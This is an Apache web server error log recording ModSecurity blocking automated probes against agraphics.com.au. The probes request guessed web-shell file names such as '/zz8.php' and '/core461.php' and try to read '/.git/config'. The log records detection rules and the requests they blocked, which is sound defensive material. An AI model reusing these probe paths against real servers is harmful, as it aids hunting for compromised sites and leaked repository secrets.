[Thu Jan 08 20:07:20.971107 2026] [:error] [pid 15265:tid 15333] [client 20.214.244.118:59867] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/raw.php"] [unique_id "aV-d-KE6VBKhew2LTFRCJwAAAIc"]
[Thu Jan 08 20:07:22.523450 2026] [:error] [pid 2484:tid 2510] [client 20.214.244.118:55944] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/raw.php"] [unique_id "aV-d-jiDlnlaQQK_AEN75wAAAVY"]
[Thu Jan 08 20:07:24.426531 2026] [:error] [pid 7586:tid 7607] [client 20.214.244.118:59824] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/raw.php"] [unique_id "aV-d_MJyk37GdXP5TmVlUgAAAdE"]
[Thu Jan 08 20:07:27.252375 2026] [:error] [pid 2424:tid 2428] [client 20.214.244.118:60260] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/raw.php"] [unique_id "aV-d_7TDJR8aofkBk9QeFwAAAQI"]
[Thu Jan 08 20:07:29.484122 2026] [:error] [pid 15264:tid 15308] [client 20.214.244.118:60247] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp670.php"] [unique_id "aV-eAYov6_kvS0Owh-oLVAAAAEk"]
[Thu Jan 08 20:07:33.559836 2026] [proxy_fcgi:error] [pid 15358:tid 15390] [client 20.214.244.118:60216] AH01071: Got error 'Primary script unknown'
[Thu Jan 08 20:07:33.698100 2026] [proxy_fcgi:error] [pid 15358:tid 15375] [client 20.214.244.118:60216] AH01071: Got error 'Primary script unknown'
[Thu Jan 08 20:07:33.836603 2026] [proxy_fcgi:error] [pid 15358:tid 15386] [client 20.214.244.118:60216] AH01071: Got error 'Primary script unknown'
[Thu Jan 08 20:07:33.977631 2026] [proxy_fcgi:error] [pid 15358:tid 15380] [client 20.214.244.118:60216] AH01071: Got error 'Primary script unknown'
[Thu Jan 08 20:07:34.121487 2026] [proxy_fcgi:error] [pid 15358:tid 15374] [client 20.214.244.118:60216] AH01071: Got error 'Primary script unknown'
[Thu Jan 08 20:07:34.261391 2026] [proxy_fcgi:error] [pid 15358:tid 15372] [client 20.214.244.118:60216] AH01071: Got error 'Primary script unknown'
[Thu Jan 08 20:07:35.059380 2026] [proxy_fcgi:error] [pid 15358:tid 15388] [client 20.214.244.118:60216] AH01071: Got error 'Primary script unknown'
[Thu Jan 08 20:07:35.200008 2026] [proxy_fcgi:error] [pid 15358:tid 15379] [client 20.214.244.118:60216] AH01071: Got error 'Primary script unknown'
[Thu Jan 08 20:07:35.337707 2026] [proxy_fcgi:error] [pid 15358:tid 15393] [client 20.214.244.118:60216] AH01071: Got error 'Primary script unknown'
[Thu Jan 08 20:07:35.475921 2026] [proxy_fcgi:error] [pid 15358:tid 15383] [client 20.214.244.118:60216] AH01071: Got error 'Primary script unknown'
[Thu Jan 08 20:07:35.614083 2026] [proxy_fcgi:error] [pid 15358:tid 15394] [client 20.214.244.118:60216] AH01071: Got error 'Primary script unknown'
[Thu Jan 08 20:07:35.760441 2026] [:error] [pid 15358:tid 15376] [client 20.214.244.118:60216] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zz8.php"] [unique_id "aV-eByoRk9xWJ3toSBJ1OAAAAMY"]
[Thu Jan 08 20:07:36.889377 2026] [:error] [pid 2484:tid 2512] [client 20.214.244.118:60161] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zz8.php"] [unique_id "aV-eCDiDlnlaQQK_AEN78wAAAVg"]
[Thu Jan 08 20:07:38.205275 2026] [:error] [pid 15263:tid 15286] [client 20.214.244.118:60667] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zz8.php"] [unique_id "aV-eCtv61bxum7WG_e_8SwAAAA4"]
[Thu Jan 08 20:07:39.235976 2026] [:error] [pid 15358:tid 15378] [client 20.214.244.118:60167] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zz8.php"] [unique_id "aV-eCyoRk9xWJ3toSBJ1OgAAAMg"]
[Thu Jan 08 20:07:39.712720 2026] [:error] [pid 17404:tid 17422] [client 20.214.244.118:60658] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/core461.php"] [unique_id "aV-eC2Vd_oH193N6AnW3QgAAAZA"]
[Thu Jan 08 20:07:41.063881 2026] [:error] [pid 17404:tid 17428] [client 20.214.244.118:60554] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/core461.php"] [unique_id "aV-eDWVd_oH193N6AnW3QwAAAZY"]
[Thu Jan 08 20:07:42.591427 2026] [:error] [pid 17404:tid 17421] [client 20.214.244.118:60208] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/core461.php"] [unique_id "aV-eDmVd_oH193N6AnW3RgAAAY8"]
[Thu Jan 08 20:07:43.209076 2026] [:error] [pid 15265:tid 15338] [client 20.214.244.118:60211] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/core461.php"] [unique_id "aV-eD6E6VBKhew2LTFRCMAAAAIw"]
[Thu Jan 08 20:07:44.335575 2026] [:error] [pid 2484:tid 2505] [client 20.214.244.118:59872] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nav-menu.php"] [unique_id "aV-eEDiDlnlaQQK_AEN7_gAAAVE"]
[Thu Jan 08 20:07:45.638188 2026] [:error] [pid 17404:tid 17410] [client 20.214.244.118:60643] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nav-menu.php"] [unique_id "aV-eEWVd_oH193N6AnW3SQAAAYQ"]
[Thu Jan 08 20:07:46.408836 2026] [:error] [pid 15358:tid 15387] [client 20.214.244.118:59848] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nav-menu.php"] [unique_id "aV-eEioRk9xWJ3toSBJ1PwAAANE"]
[Thu Jan 08 20:07:47.229470 2026] [:error] [pid 15358:tid 15386] [client 20.214.244.118:60562] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nav-menu.php"] [unique_id "aV-eEyoRk9xWJ3toSBJ1QAAAANA"]
[Thu Jan 08 20:07:48.166679 2026] [:error] [pid 17404:tid 17411] [client 20.214.244.118:60653] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/helper766.php"] [unique_id "aV-eFGVd_oH193N6AnW3TQAAAYU"]
[Thu Jan 08 20:07:49.856280 2026] [:error] [pid 7586:tid 7614] [client 20.214.244.118:60285] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/helper766.php"] [unique_id "aV-eFcJyk37GdXP5TmVlWQAAAdg"]
[Thu Jan 08 20:07:51.460355 2026] [:error] [pid 2484:tid 2511] [client 20.214.244.118:60587] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/helper766.php"] [unique_id "aV-eFziDlnlaQQK_AEN8DAAAAVc"]
[Thu Jan 08 20:07:52.198627 2026] [:error] [pid 15265:tid 15328] [client 20.214.244.118:60588] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/helper766.php"] [unique_id "aV-eGKE6VBKhew2LTFRCNwAAAII"]
[Thu Jan 08 20:07:53.102661 2026] [:error] [pid 15264:tid 15313] [client 20.214.244.118:59873] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/IMlikd8XOHn.php"] [unique_id "aV-eGYov6_kvS0Owh-oLXQAAAE4"]
[Thu Jan 08 20:07:54.682303 2026] [:error] [pid 15358:tid 15378] [client 20.214.244.118:60202] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/IMlikd8XOHn.php"] [unique_id "aV-eGioRk9xWJ3toSBJ1RgAAAMg"]
[Thu Jan 08 20:07:57.040230 2026] [:error] [pid 15358:tid 15384] [client 20.214.244.118:60164] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/IMlikd8XOHn.php"] [unique_id "aV-eHSoRk9xWJ3toSBJ1SQAAAM4"]
[Thu Jan 08 20:07:57.565888 2026] [:error] [pid 15265:tid 15343] [client 20.214.244.118:60590] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/IMlikd8XOHn.php"] [unique_id "aV-eHaE6VBKhew2LTFRCOgAAAJE"]
[Thu Jan 08 20:07:58.852221 2026] [:error] [pid 15264:tid 15308] [client 20.214.244.118:60193] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sxx.php"] [unique_id "aV-eHoov6_kvS0Owh-oLYAAAAEk"]
[Thu Jan 08 20:07:59.470586 2026] [:error] [pid 2484:tid 2501] [client 20.214.244.118:60205] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sxx.php"] [unique_id "aV-eHziDlnlaQQK_AEN8HgAAAU0"]
[Thu Jan 08 20:08:00.942943 2026] [:error] [pid 2424:tid 2442] [client 20.214.244.118:59868] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sxx.php"] [unique_id "aV-eILTDJR8aofkBk9QeMQAAARA"]
[Thu Jan 08 20:08:03.080466 2026] [:error] [pid 2424:tid 2449] [client 20.214.244.118:60170] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sxx.php"] [unique_id "aV-eI7TDJR8aofkBk9QeNAAAARc"]
[Thu Jan 08 20:08:04.621121 2026] [:error] [pid 15265:tid 15328] [client 20.214.244.118:60254] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/out.php"] [unique_id "aV-eJKE6VBKhew2LTFRCQwAAAII"]
[Thu Jan 08 20:08:05.006776 2026] [:error] [pid 2484:tid 2494] [client 20.214.244.118:60225] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/out.php"] [unique_id "aV-eJTiDlnlaQQK_AEN8JAAAAUc"]
[Thu Jan 08 20:08:05.919040 2026] [:error] [pid 2484:tid 2509] [client 20.214.244.118:60892] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/out.php"] [unique_id "aV-eJTiDlnlaQQK_AEN8JgAAAVU"]
[Thu Jan 08 20:08:07.782756 2026] [:error] [pid 15265:tid 15326] [client 20.214.244.118:60847] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/out.php"] [unique_id "aV-eJ6E6VBKhew2LTFRCSQAAAIA"]
[Thu Jan 08 20:08:08.808464 2026] [:error] [pid 15264:tid 15309] [client 20.214.244.118:60882] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fonts.php"] [unique_id "aV-eKIov6_kvS0Owh-oLZwAAAEo"]
[Thu Jan 08 20:08:09.520740 2026] [:error] [pid 7586:tid 7613] [client 20.214.244.118:60650] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fonts.php"] [unique_id "aV-eKcJyk37GdXP5TmVlZwAAAdc"]
[Thu Jan 08 20:08:11.141228 2026] [:error] [pid 2484:tid 2498] [client 20.214.244.118:59894] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fonts.php"] [unique_id "aV-eKziDlnlaQQK_AEN8LgAAAUs"]
[Thu Jan 08 20:08:12.765457 2026] [:error] [pid 15263:tid 15272] [client 20.214.244.118:60854] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fonts.php"] [unique_id "aV-eLNv61bxum7WG_e_8WwAAAAA"]
[Thu Jan 08 20:08:15.095311 2026] [:error] [pid 15265:tid 15346] [client 20.214.244.118:60837] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mode.php"] [unique_id "aV-eL6E6VBKhew2LTFRCVAAAAJQ"]
[Thu Jan 08 20:08:16.705093 2026] [:error] [pid 2484:tid 2497] [client 20.214.244.118:60593] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mode.php"] [unique_id "aV-eMDiDlnlaQQK_AEN8nwAAAUo"]
[Thu Jan 08 20:08:17.744083 2026] [:error] [pid 15264:tid 15313] [client 20.214.244.118:60570] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mode.php"] [unique_id "aV-eMYov6_kvS0Owh-oLagAAAE4"]
[Thu Jan 08 20:08:18.444668 2026] [:error] [pid 15358:tid 15376] [client 20.214.244.118:60597] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mode.php"] [unique_id "aV-eMioRk9xWJ3toSBJ1UgAAAMY"]
[Thu Jan 08 20:08:19.369292 2026] [:error] [pid 7586:tid 7591] [client 20.214.244.118:60577] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abc.php"] [unique_id "aV-eM8Jyk37GdXP5TmVljgAAAcM"]
[Thu Jan 08 20:08:21.227014 2026] [:error] [pid 2484:tid 2489] [client 20.214.244.118:60564] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abc.php"] [unique_id "aV-eNTiDlnlaQQK_AEN8oAAAAUM"]
[Thu Jan 08 20:08:22.105816 2026] [:error] [pid 7586:tid 7611] [client 20.214.244.118:60878] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abc.php"] [unique_id "aV-eNsJyk37GdXP5TmVlkQAAAdU"]
[Thu Jan 08 20:08:23.747061 2026] [:error] [pid 2484:tid 2498] [client 20.214.244.118:60853] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abc.php"] [unique_id "aV-eNziDlnlaQQK_AEN8owAAAUs"]
[Thu Jan 08 20:08:26.477374 2026] [:error] [pid 15265:tid 15343] [client 20.214.244.118:60909] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/TXL82e.php"] [unique_id "aV-eOqE6VBKhew2LTFRCZAAAAJE"]
[Thu Jan 08 20:08:27.588768 2026] [:error] [pid 15358:tid 15386] [client 20.214.244.118:60888] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/TXL82e.php"] [unique_id "aV-eOyoRk9xWJ3toSBJ1WQAAANA"]
[Thu Jan 08 20:08:29.359759 2026] [:error] [pid 7586:tid 7589] [client 20.214.244.118:60803] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/TXL82e.php"] [unique_id "aV-ePcJyk37GdXP5TmVlkwAAAcE"]
[Thu Jan 08 20:08:32.034601 2026] [:error] [pid 15264:tid 15322] [client 20.214.244.118:60573] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/TXL82e.php"] [unique_id "aV-eQIov6_kvS0Owh-oLeAAAAFc"]
[Thu Jan 08 20:08:35.821538 2026] [proxy_fcgi:error] [pid 2424:tid 2441] [client 20.214.244.118:60839] AH01071: Got error 'Primary script unknown'
[Thu Jan 08 20:08:35.979361 2026] [proxy_fcgi:error] [pid 2424:tid 2437] [client 20.214.244.118:60839] AH01071: Got error 'Primary script unknown'
[Thu Jan 08 20:08:36.117017 2026] [proxy_fcgi:error] [pid 2424:tid 2426] [client 20.214.244.118:60839] AH01071: Got error 'Primary script unknown'
[Thu Jan 08 20:08:36.257748 2026] [proxy_fcgi:error] [pid 2424:tid 2440] [client 20.214.244.118:60839] AH01071: Got error 'Primary script unknown'
[Fri Jan 09 03:41:10.337734 2026] [:error] [pid 35916:tid 35938] [client 195.178.110.161:51862] [client 195.178.110.161] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.git/config"] [unique_id "aWAIVvnSLfzabNjOjwxrqAAAANQ"]
[Fri Jan 09 03:46:54.691349 2026] [:error] [pid 35916:tid 35931] [client 195.178.110.161:59320] [client 195.178.110.161] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aWAJrvnSLfzabNjOjwxuZQAAAM0"]
